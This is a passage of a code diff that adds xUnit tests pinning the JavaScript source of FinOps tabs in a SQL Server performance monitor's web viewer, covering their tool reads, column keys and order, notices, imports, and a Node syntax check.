+        Assert.Equal(at.OrderBy(i => i).ToList(), at);
+    }
+
+    [Fact]
+    public void TheNoticesAndTheCostLineAreExact()
+    {
+        var tab = Tab();
+        Assert.Contains("const n = (s.rows || []).length;", tab);
+        Assert.Contains("let text = (n === 1 ? \"1 idle database\" : n + \" idle databases\") + \" over the last \" + (s.window_days ?? \"?\") + \" days\";", tab);
+        Assert.Contains("text += s.truncated ? \"; the top \" + n + \" of \" + (s.database_count ?? \"more\") + \".\" : \".\";", tab);
+        Assert.Contains("return \"last \" + (s.window_hours ?? HOURS) + \" hours\";", tab);
+        Assert.Contains("let text = \"Top \" + (s.rows || []).length + \" by CPU, last \" + hours + \" hours\";", tab);
+        Assert.Contains("if (s.effective_start) text += \", from \" + applyFormat(\"time\", s.effective_start) + \" (local time)\";", tab);
+        Assert.Contains("\"Est. cost shares split the server's $\" + applyFormat(\"num2\", data.monthly_cost_usd) + \" monthly cost pro-rated to this window (\" + hours + \" hours); they are an attribution, not a measured cost.\"", tab);
+        Assert.Contains(": (data.cost_reason ?? \"monthly cost not set\") + \", so Est. cost share is blank.\";", tab);
+    }
+
+    [Fact]
+    public void TheReadStatesAreHandledAbortedAndAuthReturnAndEmptyShowsItsMessage()
+    {
+        var tab = Tab();
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"aborted\" \\|\\| res\\.kind === \"auth\"\\) return;$", tab);
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"empty\"\\) return mount\\(body, gatedEmptyStrip\\(res, ctx\\)\\);$", tab);
+    }
+
+    [Fact]
+    public void TheTabImportsOnlyTheSharedHelpers()
+    {
+        var imports = Regex.Matches(Tab(), "from \"([^\"]+)\";").Select(m => m.Groups[1].Value).ToList();
+        Assert.NotEmpty(imports);
+        Assert.All(imports, i => Assert.Contains(i, new[] { "../../panels.js", "../../charts.js", "../../util.js", "../plan-viewer.js", "./gate.js", "./window.js" }));
+        Assert.Contains("./gate.js", imports);
+    }
+
+    [Fact]
+    public void TheStubTextIsGone()
+    {
+        Assert.DoesNotContain("Not on the web yet", Tab());
+    }
+
+    [Fact]
+    public void TheErrorAndRenderFailureStatesAreHandled()
+    {
+        var tab = Tab();
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"error\"\\) return mount\\(body, readErrorStrip\\(res\\.message\\)\\);$", tab);
+        Assert.Contains("Could not render this tab: ", tab);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsTabPvsPageTests.cs b/Darling/Darling.Tests/FinOpsTabPvsPageTests.cs
new file mode 100644
index 0000000000..eab493e9f6
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsTabPvsPageTests.cs
@@ -0,0 +1,91 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Source pins for the web viewer's FinOps Version Store (PVS) tab: it reads get_pvs_stats, shows only keys the
+/// tool emits, imports only the shared renderers, and no longer carries the placeholder text.
+/// </summary>
+public sealed class FinOpsTabPvsPageTests
+{
+    private static string Tab => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "version-store.js").ReplaceLineEndings("\n");
+
+    private static string Tool => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpPvsTools.cs").ReplaceLineEndings("\n");
+
+    [Fact]
+    public void Tab_ReadsGetPvsStatsWithATrendWindow()
+    {
+        Assert.Contains("readTool(\"get_pvs_stats\", { server, trend_hours_back: TREND_HOURS }, signal)", Tab);
+        Assert.Contains("const TREND_HOURS = 168;", Tab);
+    }
+
+    [Fact]
+    public void Tab_EveryShownKeyIsEmittedByTheTool()
+    {
+        var tool = Tool;
+        var columnKeys = Regex.Matches(Tab, "key: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToList();
+        Assert.True(columnKeys.Count >= 13, "expected the column keys to be found");
+        var keys = columnKeys
+            .Concat(new[] { "databases", "trend", "points", "collection_time", "pvs_size_mb", "as_of", "database_name", "pct_of_database_reason" })
+            .Distinct().ToList();
+        foreach (var key in keys)
+        {
+            Assert.True(tool.Contains(key + " = ") || tool.Contains("\"" + key + "\"") || tool.Contains(key + ","),
+                "get_pvs_stats does not emit " + key);
+        }
+    }
+
+    [Fact]
+    public void Tab_ImportsOnlyTheSharedRenderers()
+    {
+        var imports = Regex.Matches(Tab, "from \"([^\"]+)\"").Select(m => m.Groups[1].Value).ToList();
+        Assert.NotEmpty(imports);
+        Assert.All(imports, i => Assert.Contains(i, new[] { "../../panels.js", "../../charts.js", "../../util.js", "./gate.js" }));
+        Assert.Contains("./gate.js", imports);
+    }
+
+    [Fact]
+    public void Tab_IsNoLongerThePlaceholder()
+    {
+        Assert.DoesNotContain("Not on the web yet", Tab);
+    }
+
+    [Fact]
+    public void Tab_ShowsAbortedLagCleanupAndTheThreeSkippedCountersInTheDesktopOrder()
+    {
+        var order = new[]
+        {
+            "key: \"oldest_aborted_transaction_id\"",
+            "key: \"aborted_transaction_lag\", label: \"Aborted Lag\"",
+            "key: \"cleanup_state\", label: \"Cleanup\"",
+            "key: \"skipped_low_water_mark\", label: \"Skipped: Secondary\"",
+            "key: \"skipped_min_useful_xts\", label: \"Skipped: Snapshot\"",
+            "key: \"skipped_oldest_aborted\", label: \"Skipped: Aborted\"",
+        };
+        var at = -1;
+        foreach (var pin in order)
+        {
+            var next = Tab.IndexOf(pin, System.StringComparison.Ordinal);
+            Assert.True(next > at, "column missing or out of order: " + pin);
+            at = next;
+        }
+
+        foreach (var key in new[] { "aborted_transaction_lag", "cleanup_state", "skipped_low_water_mark", "skipped_min_useful_xts", "skipped_oldest_aborted" })
+        {
+            Assert.Contains(key + " = ", Tool);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsTabRecommendationsPageTests.cs b/Darling/Darling.Tests/FinOpsTabRecommendationsPageTests.cs
new file mode 100644
index 0000000000..69faa45d6b
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsTabRecommendationsPageTests.cs
@@ -0,0 +1,177 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the FinOps Recommendations tab: it reads get_finops_recommendations and shows only keys that read emits.</summary>
+public sealed class FinOpsTabRecommendationsPageTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "recommendations.js")
+            .ReplaceLineEndings("\n");
+
+    private static string ToolSource() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsRecommendationsTools.cs")
+            .ReplaceLineEndings("\n");
+
+    private static string Slice(string startMarker, string endMarker)
+    {
+        var source = ToolSource();
+        var start = source.IndexOf(startMarker, System.StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = source.IndexOf(endMarker, start, System.StringComparison.Ordinal);
+        Assert.True(end > start);
+        return source.Substring(start, end - start);
+    }
+
+    private static string RowSlice() => Slice("internal static object RecommendationRow(", "\n    };");
+
+    private static string EnvelopeSlice() => Slice("internal static object Envelope(", "\n        };");
+
+    private static System.Collections.Generic.List<string> Keys() =>
+        Regex.Matches(Tab(), "\\bkey: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToList();
+
+    [Fact]
+    public void TheTabReadsTheRecommendationsRoute()
+    {
+        Assert.Contains("readTool(\"get_finops_recommendations\", { server }, ctx && ctx.signal)", Tab());
+    }
+
+    [Fact]
+    public void EveryColumnKeyIsEmittedByTheRow()
+    {
+        var keys = Keys();
+        var row = RowSlice();
+        foreach (var key in keys)
+            Assert.Matches("(?m)^\\s+" + Regex.Escape(key) + " = ", row);
+        Assert.Equal(6, Regex.Matches(row, "(?m)^\\s+[a-z_]+ = ").Count);
+        Assert.Equal(6, keys.Count);
+    }
+
+    [Fact]
+    public void TheColumnsAreInTheDesktopGridOrder()
+    {
+        Assert.Equal("category,severity,confidence,finding,detail,est_savings_usd_month", string.Join(",", Keys()));
+    }
+
+    [Theory]
+    [InlineData("recommendations")]
+    [InlineData("monthly_cost_usd")]
+    [InlineData("skipped_checks")]
+    public void TheEnvelopeKeysTheTabReadsAreEmitted(string key)
+    {
+        Assert.Matches("(?m)^\\s+" + key + " = ", EnvelopeSlice());
+        Assert.Contains("data." + key, Tab());
+    }
+
+    [Fact]
+    public void SeverityColourMapsTheThreeLevels()
+    {
+        Assert.Contains("const SEV = { High: \"Critical\", Medium: \"Warning\", Low: \"Healthy\" };", Tab());
+        Assert.Contains("severity and confidence are High, Medium or Low", ToolSource());
+        Assert.Contains("{ key: \"severity\", label: \"Severity\", sevKey: \"severity_sev\" }", Tab());
+    }
+
+    [Fact]
+    public void TheTextColumnsAreNotFormatted()
+    {
+        var tab = Tab();
+        foreach (var key in new[] { "finding", "detail" })
+        {
+            var line = Regex.Match(tab, "(?m)^\\s+\\{ key: \"" + key + "\".*$");
+            Assert.True(line.Success);
+            Assert.DoesNotContain("format:", line.Value);
+            Assert.Contains("wrap: true", line.Value);
+        }
+    }
+
+    [Fact]
+    public void TheTabKeepsThePayloadOrder()
+    {
+        Assert.DoesNotContain(".sort(", Tab());
+    }
+
+    [Fact]
+    public void TheReadStatesAreHandled()
+    {
+        var tab = Tab();
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"aborted\" \\|\\| res\\.kind === \"auth\"\\) return;$", tab);
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"empty\"\\) return mount\\(body, gatedEmptyStrip\\(res, ctx\\)\\);$", tab);
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"error\"\\) return mount\\(body, readErrorStrip\\(res\\.message\\)\\);$", tab);
+        Assert.Contains("Could not render this tab: ", tab);
+    }
+
+    [Fact]
+    public void TheTabBuildsItsDomFromTextOnly()
+    {
+        Assert.DoesNotContain("innerHTML", Tab());
+    }
+
+    [Fact]
+    public void TheTabImportsOnlyTheSharedHelpers()
+    {
+        var imports = Regex.Matches(Tab(), "from \"([^\"]+)\";").Select(m => m.Groups[1].Value).ToList();
+        Assert.NotEmpty(imports);
+        Assert.All(imports, i => Assert.Contains(i, new[] { "../../panels.js", "../../util.js", "./gate.js" }));
+        Assert.Contains("./gate.js", imports);
+    }
+
+    [Fact]
+    public void TheStubTextIsGone()
+    {
+        Assert.DoesNotContain("Not on the web yet", Tab());
+    }
+
+    [Fact]
+    public async System.Threading.Tasks.Task TheTabParsesUnderNode()
+    {
+        var path = Path.Combine(Path.GetTempPath(), "recommendations-" + System.Guid.NewGuid().ToString("N") + ".mjs");
+        File.WriteAllText(path, Tab());
+        try
+        {
+            var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+            psi.ArgumentList.Add("--check");
+            psi.ArgumentList.Add(path);
+            Process proc;
+            try
+            {
+                proc = Process.Start(psi)!;
+            }
+            catch (Win32Exception)
+            {
+                Assert.Skip("Node is not installed, so the tab script cannot be parsed.");
+                throw;
+            }
+
+            using (proc)
+            {
+                var error = proc.StandardError.ReadToEndAsync();
+                if (!proc.WaitForExit(20000))
+                {
+                    proc.Kill(entireProcessTree: true);
+                    Assert.Fail("node --check did not finish in 20 s");
+                }
+
+                Assert.True(proc.ExitCode == 0, "node --check failed: " + await error);
+            }
+        }
+        finally
+        {
+            File.Delete(path);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsTabServerInventoryPageTests.cs b/Darling/Darling.Tests/FinOpsTabServerInventoryPageTests.cs
new file mode 100644
index 0000000000..9a0cd70d83
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsTabServerInventoryPageTests.cs
@@ -0,0 +1,245 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the FinOps Server Inventory tab: it reads get_finops_inventory with view server_inventory and shows only keys that read emits.</summary>
+public sealed class FinOpsTabServerInventoryPageTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "server-inventory.js")
+            .ReplaceLineEndings("\n");
+
+    private static string ToolSource() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsInventoryTools.cs")
+            .ReplaceLineEndings("\n");
+
+    private static string Slice(string startMarker)
+    {
+        var source = ToolSource();
+        var start = source.IndexOf(startMarker, System.StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = source.IndexOf("\n        };", start, System.StringComparison.Ordinal);
+        Assert.True(end > start);
+        return source.Substring(start, end - start);
+    }
+
+    private static string RowSlice() => Slice("internal static object InventoryRow(");
+
+    private static string EnvelopeSlice() => Slice("internal static object Envelope(");
+
+    private static System.Collections.Generic.List<string> Keys() =>
+        Regex.Matches(Tab(), "\\bkey: \"([a-z_]+)\"").Select(m => m.Groups[1].Value).ToList();
+
+    [Fact]
+    public void TheTabReadsTheFleetInventoryWithTheMaxLimit()
+    {
+        var tab = Tab();
+        Assert.Contains("readTool(\"get_finops_inventory\", { view: \"server_inventory\", limit: LIMIT, include_removed: showRemoved ? \"true\" : null }, ctx && ctx.signal)", tab);
+        var limit = Regex.Match(tab, "(?m)^const LIMIT = (\\d+);$");
+        Assert.True(limit.Success);
+        Assert.Equal(DarlingMcpFinOpsInventoryTools.MaxLimit, int.Parse(limit.Groups[1].Value));
+        Assert.DoesNotContain("{ server,", tab);
+    }
+
+    [Fact]
+    public void TheShowRemovedServersCheckboxIsOffByDefaultAndSendsIncludeRemoved()
+    {
+        var tab = Tab();
+        // Off by default, labelled, and the tool/route declare the same flag with a false default (Web 11).
+        Assert.Contains("let showRemoved = false;", tab);
+        Assert.Contains("\"Show removed servers\"", tab);
+        Assert.Contains("bool include_removed = false", ToolSource());
+        Assert.Contains("PBool(\"include_removed\", false)", ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs"));
+    }
+
+    [Fact]
+    public void EveryShownColumnKeyIsEmittedByTheInventoryRow()
+    {
+        var keys = Keys();
+        var row = RowSlice();
+        foreach (var key in keys)
+            Assert.Matches("(?m)^\\s+" + Regex.Escape(key) + " = ", row);
+        // engine_edition is emitted but not shown, as on the desktop; so is health_score_note (the words for a dash in place of a score).
+        Assert.Equal(27, Regex.Matches(row, "(?m)^\\s+[a-z_]+ = ").Count);
+        Assert.Equal(25, keys.Count);
+    }
+
+    [Fact]
+    public void TheColumnsAreInTheDesktopGridOrder()
+    {
+        Assert.Equal(
+            "server,edition,product_version,host_os_version,cpu_count,physical_memory_mb,socket_count,cores_per_socket,hardware_note,"
+            + "provisioning_status,avg_cpu_pct,storage_total_gb,idle_db_count,sqlserver_start_time_local,inventory_as_of,last_collected,"
+            + "monitoring,monthly_cost_usd,annual_cost_usd,health_score,health_band,license_warning,is_hadr_enabled,ag_replica_role,is_clustered",
+            string.Join(",", Keys()));
+    }
+
+    [Theory]
+    [InlineData("servers")]
+    [InlineData("truncated")]
+    [InlineData("total_servers")]
+    [InlineData("hardware_note_legend")]
+    [InlineData("cpu_window_hours")]
+    [InlineData("idle_window_days")]
+    public void TheEnvelopeKeysTheTabReadsAreEmitted(string key)
+    {
+        Assert.Matches("(?m)^\\s+" + key + " = ", EnvelopeSlice());
+        Assert.Contains("data." + key, Tab());
+    }
+
+    [Fact]
+    public void TheHostScopedCodeShowsTheLegendText()
+    {
+        var tab = Tab();
+        Assert.Contains("legend[r.hardware_note] ?? r.hardware_note", tab);
+        Assert.Contains("data.hardware_note_legend", tab);
+        Assert.DoesNotContain("host_scoped", tab);
+        Assert.DoesNotContain("Azure SQL Database: memory", tab);
+    }
+
+    [Fact]
+    public void AnOmittedKeyShowsAsADashBecauseTheRowIsSpreadAndNeverFilled()
+    {
+        var tab = Tab();
+        Assert.Contains("return {\n    ...r,", tab);
+        Assert.DoesNotContain("r.edition ??", tab);
+        Assert.DoesNotContain("?? \"\"", tab.Replace("String(r.ag_replica_role ?? \"\")", ""));
+    }
+
+    [Fact]
+    public void TheHealthColourComesFromThePayloadBand()
+    {
+        Assert.Contains("const BAND_SEV = { good: \"Healthy\", fair: \"Warning\", poor: \"Critical\" };", Tab());
+        Assert.Equal("good", FinOpsUtilizationFigures.BandGood);
+        Assert.Equal("fair", FinOpsUtilizationFigures.BandFair);
+        Assert.Equal("poor", FinOpsUtilizationFigures.BandPoor);
+    }
+
+    [Fact]
+    public void TheStartTimeShowsMinutesAndAnUnknownStatusDropsUnderscores()
+    {
+        var tab = Tab();
+        Assert.Contains("r.sqlserver_start_time_local.slice(0, 16).replace(\"T\", \" \")", tab);
+        Assert.Contains("r.provisioning_status.replace(/_/g, \" \")", tab);
+    }
+
+    [Fact]
+    public void TheBandColumnIsColouredByTheHealthSeverity()
+    {
+        Assert.Contains("{ key: \"health_band\", label: \"Band\", sevKey: \"health_sev\" }", Tab());
+    }
+
+    [Fact]
+    public void TheStatusLabelsAreTheProvisioningVerdictTokens()
+    {
+        var tab = Tab();
+        Assert.Contains(ProvisioningVerdict.RightSized + ": [", tab);
+        Assert.Contains(ProvisioningVerdict.OverProvisioned + ": [", tab);
+        Assert.Contains(ProvisioningVerdict.UnderProvisioned + ": [", tab);
+        Assert.Contains(ProvisioningVerdict.NotApplicable + ": [\"" + ProvisioningVerdict.NotApplicableLabel + "\"", tab);
+    }
+
+    [Fact]
+    public void TheServerClockStartTimeIsNotParsedAsUtc()
+    {
+        Assert.Contains("{ key: \"sqlserver_start_time_local\", label: \"Start time (server clock)\" }", Tab());
+    }
+
+    [Fact]
+    public void TheTabKeepsThePayloadOrder()
+    {
+        Assert.DoesNotContain(".sort(", Tab());
+    }
+
+    [Fact]
+    public void TheTruncatedNoticeNamesTheShownCountThenTheTotal()
+    {
+        Assert.Contains("(data.truncated ? \" (the first \" + n + \" of \" + data.total_servers + \")\" : \"\")", Tab());
+    }
+
+    [Fact]
+    public void TheReadStatesAreHandled()
+    {
+        var tab = Tab();
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"aborted\" \\|\\| res\\.kind === \"auth\"\\) return;$", tab);
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"empty\"\\) return mount\\(body, emptyStrip\\(res\\.message\\)\\);$", tab);
+        Assert.Matches("(?m)^\\s+if \\(res\\.kind === \"error\"\\) return mount\\(body, readErrorStrip\\(res\\.message\\)\\);$", tab);
+        Assert.Contains("Could not render this tab: ", tab);
+    }
+
+    [Fact]
+    public void TheTabBuildsItsDomFromTextOnly()
+    {
+        Assert.DoesNotContain("innerHTML", Tab());
+    }
+
+    [Fact]
+    public void TheTabImportsOnlyTheSharedHelpers()
+    {
+        var imports = Regex.Matches(Tab(), "from \"([^\"]+)\";").Select(m => m.Groups[1].Value).ToList();
+        Assert.NotEmpty(imports);
+        Assert.All(imports, i => Assert.Contains(i, new[] { "../../panels.js", "../../util.js" }));
+    }
+
+    [Fact]
+    public void TheStubTextIsGone()
+    {
+        Assert.DoesNotContain("Not on the web yet", Tab());
+    }
+
+    [Fact]
+    public async System.Threading.Tasks.Task TheTabParsesUnderNode()
+    {
+        var path = Path.Combine(Path.GetTempPath(), "server-inventory-" + System.Guid.NewGuid().ToString("N") + ".mjs");
+        File.WriteAllText(path, Tab());
+        try
+        {
+            var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+            psi.ArgumentList.Add("--check");
+            psi.ArgumentList.Add(path);
+            Process proc;
+            try
+            {
+                proc = Process.Start(psi)!;
+            }
+            catch (Win32Exception)
+            {
+                Assert.Skip("Node is not installed, so the tab script cannot be parsed.");
+                throw;
+            }
+
+            using (proc)
+            {
+                var error = proc.StandardError.ReadToEndAsync();
+                if (!proc.WaitForExit(20000))
+                {
+                    proc.Kill(entireProcessTree: true);
+                    Assert.Fail("node --check did not finish in 20 s");
+                }
+
+                Assert.True(proc.ExitCode == 0, "node --check failed: " + await error);
+            }
+        }
+        finally
+        {
+            File.Delete(path);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsTabStorageGrowthPageTests.cs b/Darling/Darling.Tests/FinOpsTabStorageGrowthPageTests.cs
new file mode 100644
index 0000000000..bc802db473
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsTabStorageGrowthPageTests.cs
@@ -0,0 +1,269 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the FinOps Storage Growth tab: it reads get_finops with view storage_growth at three levels, and each table shows the keys its row function emits.</summary>
+public sealed class FinOpsTabStorageGrowthPageTests
+{
+    private static string Tab() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "finops", "storage-growth.js")
+            .ReplaceLineEndings("\n");
+
+    private static string Css() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "css", "app.css")
+            .ReplaceLineEndings("\n");
+
+    private static string ToolSource() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpFinOpsTools.StorageGrowth.cs")
+            .ReplaceLineEndings("\n");
+
+    /// <summary>The keys of one COLUMNS array, in order.</summary>
+    private static System.Collections.Generic.List<string> Keys(string constName)
+    {
+        var tab = Tab();
+        var start = tab.IndexOf("const " + constName + " = [", System.StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = tab.IndexOf("\n];", start, System.StringComparison.Ordinal);
+        Assert.True(end > start);
+        return Regex.Matches(tab.Substring(start, end - start), "\\bkey: \"([a-z_0-9]+)\"").Select(m => m.Groups[1].Value).ToList();
+    }
+
+    /// <summary>One expression-bodied row function's object initializer: from the first "new" after the method name to the given close.</summary>
+    private static string RowSlice(string method, string close)
+    {
+        var source = ToolSource();
+        var at = source.IndexOf(" " + method + "(", System.StringComparison.Ordinal);
+        Assert.True(at >= 0);
+        var start = source.IndexOf("new\n", at, System.StringComparison.Ordinal);
+        Assert.True(start > at);
+        var end = source.IndexOf(close, start, System.StringComparison.Ordinal);
+        Assert.True(end > start);
+        return source.Substring(start, end - start);
+    }
+
+    /// <summary>Every shown key is emitted by the row; the shown count equals the emitted count less the listed deliberate omissions.</summary>
+    private static void AssertKeysMatchRow(string constName, string method, string close, int emittedCount, params string[] omitted)
+    {
+        // captured_at is the indexes section's one snapshot time, copied onto each row by the page, so the row function does not emit it.
+        var keys = Keys(constName).Where(k => k != "captured_at").ToList();
+        var row = RowSlice(method, close);
+        foreach (var key in keys)
+            Assert.Matches("(?m)^\\s+" + Regex.Escape(key) + " = ", row);
+        foreach (var key in omitted)
+        {
+            Assert.Matches("(?m)^\\s+" + Regex.Escape(key) + "( = |,\r?$)", row);
+            Assert.DoesNotContain(key, keys);
+        }
+        var emitted = Regex.Matches(row, "(?m)^\\s+[a-z_0-9]+( = |,$)").Count;
+        Assert.Equal(emittedCount, emitted);
+        Assert.Equal(emitted - omitted.Length, keys.Count);
+    }
+
+    [Fact]
+    public void TheTabReadsGetFinOpsWithTheStorageGrowthViewAtEachLevel()
+    {
+        var tab = Tab();
+        // Pins the databases-level read: view and the 24 hours it keeps (the databases level ignores the window).
+        Assert.Contains("const params = { server, view: \"storage_growth\", hours: HOURS };", tab);
+        Assert.Matches("(?m)^const HOURS = 24;$", tab);
+        // Pins the databases-level limit (#5238): the 500 the service honours at this level (MaxStorageGrowthDatabaseRows), not its default top 50.
+        Assert.Contains("if (state.level === \"databases\") params.limit = DATABASE_LIMIT;", tab);
+        var databaseLimit = Regex.Match(tab, "(?m)^const DATABASE_LIMIT = (\\d+);$");
+        var serviceMax = Regex.Match(ToolSource(), "internal const int MaxStorageGrowthDatabaseRows = (\\d+);");
+        Assert.True(databaseLimit.Success && serviceMax.Success);
+        Assert.Equal(500, int.Parse(serviceMax.Groups[1].Value));
+        Assert.Equal(serviceMax.Groups[1].Value, databaseLimit.Groups[1].Value);
+        // Pins the objects-level read: the database plus the desktop's top 20, the most the view allows.
+        Assert.Contains("if (state.level === \"objects\") Object.assign(params, { database_name: state.database, limit: OBJECT_LIMIT, hours: state.days * 24 });", tab);
+        Assert.Matches("(?m)^const OBJECT_LIMIT = 20;$", tab);
+        // Pins the indexes-level read: no limit, because the view refuses any limit at this level.
+        Assert.Contains("if (state.level === \"indexes\") Object.assign(params, { database_name: state.database, object_name: state.object, hours: state.days * 24 });", tab);
+        // Pins the one call site that sends them.
+        Assert.Contains("readTool(\"get_finops\", params, ctx && ctx.signal)", tab);
+        Assert.Single(Regex.Matches(tab, "readTool\\("));
+    }
+
+    [Fact]
+    public void EveryDatabaseColumnKeyIsEmittedByTheDatabaseRow() =>
+        // has_sibling_row and has_log_service_file are left out on purpose: the desktop grid shows neither, and the note says what they mean.
+        AssertKeysMatchRow("DATABASE_COLUMNS", "StorageGrowthDatabaseRow", "\n    };", 13, "has_sibling_row", "has_log_service_file", "size_7d_ago_note", "size_30d_ago_note");
+
+    [Fact]
+    public void EveryObjectColumnKeyIsEmittedByTheObjectRow() =>
+        // object_name and cells are left out on purpose: object_name is schema.table (already two columns), and cells feed the heatmap.
+        AssertKeysMatchRow("OBJECT_COLUMNS", "StorageGrowthObjectRows", "\n            });", 11, "object_name", "cells");
+
+    [Fact]
+    public void EveryIndexColumnKeyIsEmittedByTheIndexRow() =>
+        // database_name, schema_name, table_name and index_id are left out on purpose: the drill path already names the first three, and the desktop grid has no id column.
+        AssertKeysMatchRow("INDEX_COLUMNS", "StorageGrowthIndexRow", "\n    };", 15, "database_name", "schema_name", "table_name", "index_id");
+
+    [Fact]
+    public void TheIndexCollectedColumnIsTheEnvelopeSnapshotTimeCopiedOntoEachRow()
+    {
+        // The read stamps one captured_at on the indexes section, not on each row (the desktop's Collected column, #5079).
+        Assert.Contains("captured_at: data.indexes.captured_at ?? null", Tab());
+        Assert.Contains("{ key: \"captured_at\", label: \"Collected\", format: \"time\" },", Tab());
+        Assert.Matches("(?m)^\\s+captured_at = ", ToolSource());
+    }
+
+    [Fact]
+    public void TheObjectViewCarriesTheDesktopsReservationNote()
+    {
+        Assert.Contains("Object / reserved footprint (daily). This is per-object reservation, not file allocation \\u2014 it may not fully explain a database's file-level growth (log / free space).", Tab());
+        Assert.Contains("noticeStrip(OBJECT_GROWTH_NOTE)", Tab());
+    }
+
+    [Fact]
+    public void TheColumnsAreInTheDesktopGridOrder()
+    {
+        // Databases grid: FinOpsTab.xaml FinOpsStorageGrowthDataGrid (~:541-558), Note last.
+        Assert.Equal("database_name,current_size_mb,size_7d_ago_mb,size_30d_ago_mb,growth_7d_mb,growth_30d_mb,daily_growth_rate_mb,growth_pct_30d,note", string.Join(",", Keys("DATABASE_COLUMNS")));
+        // Objects grid: FinOpsTab.xaml FinOpsObjectGrowthDetailGrid (~:571-583).
+        Assert.Equal("schema_name,table_name,reserved_mb,used_mb,total_rows,index_count,growth_mb,growth_pct,daily_growth_rate_mb", string.Join(",", Keys("OBJECT_COLUMNS")));
+        // Indexes grid: FinOpsTab.xaml FinOpsObjectIndexDetailGrid (~:590-601).
+        Assert.Equal("index_name,classification,index_type_desc,reserved_mb,total_rows,user_seeks,user_scans,user_lookups,total_reads,user_updates,last_user_access_server_local,captured_at", string.Join(",", Keys("INDEX_COLUMNS")));
+    }
+
+    [Fact]
+    public void TheServerLocalLastAccessIsPlainTextNeverTheTimeFormatter()
+    {
+        var tab = Tab();
+        Assert.Contains("{ key: \"last_user_access_server_local\", label: \"Last access (server time)\" },", tab);
+        Assert.DoesNotContain("last_user_access_server_local\", label: \"Last access (server time)\", format", tab);
+    }
+
+    [Fact]
+    public void TheDayAxisIsLabelledUtcAndShowsTheFirstTenCharacters()
+    {
+        var tab = Tab();
+        Assert.Contains("el(\"caption\", { text: \"Day (UTC)\" })", tab);
+        Assert.Contains("String(d).slice(0, 10)", tab);
+    }
+
+    [Fact]
+    public void TheNoticesAreExact()
+    {
+        var tab = Tab();
+        Assert.Contains("let text = n === 1 ? \"1 database\" : n + \" databases\";", tab);
+        Assert.Contains("text += s.truncated ? \"; the top \" + n + \" of \" + (s.database_count ?? \"more\") + \" by 30-day growth.\" : \".\";", tab);
+        Assert.Contains("let text = \"Top \" + (s.rows || []).length + \" objects by growth over the last \" + (s.window_days ?? \"?\") + \" days\";", tab);
+        Assert.Contains("text += s.truncated ? \"; more exist.\" : \".\";", tab);
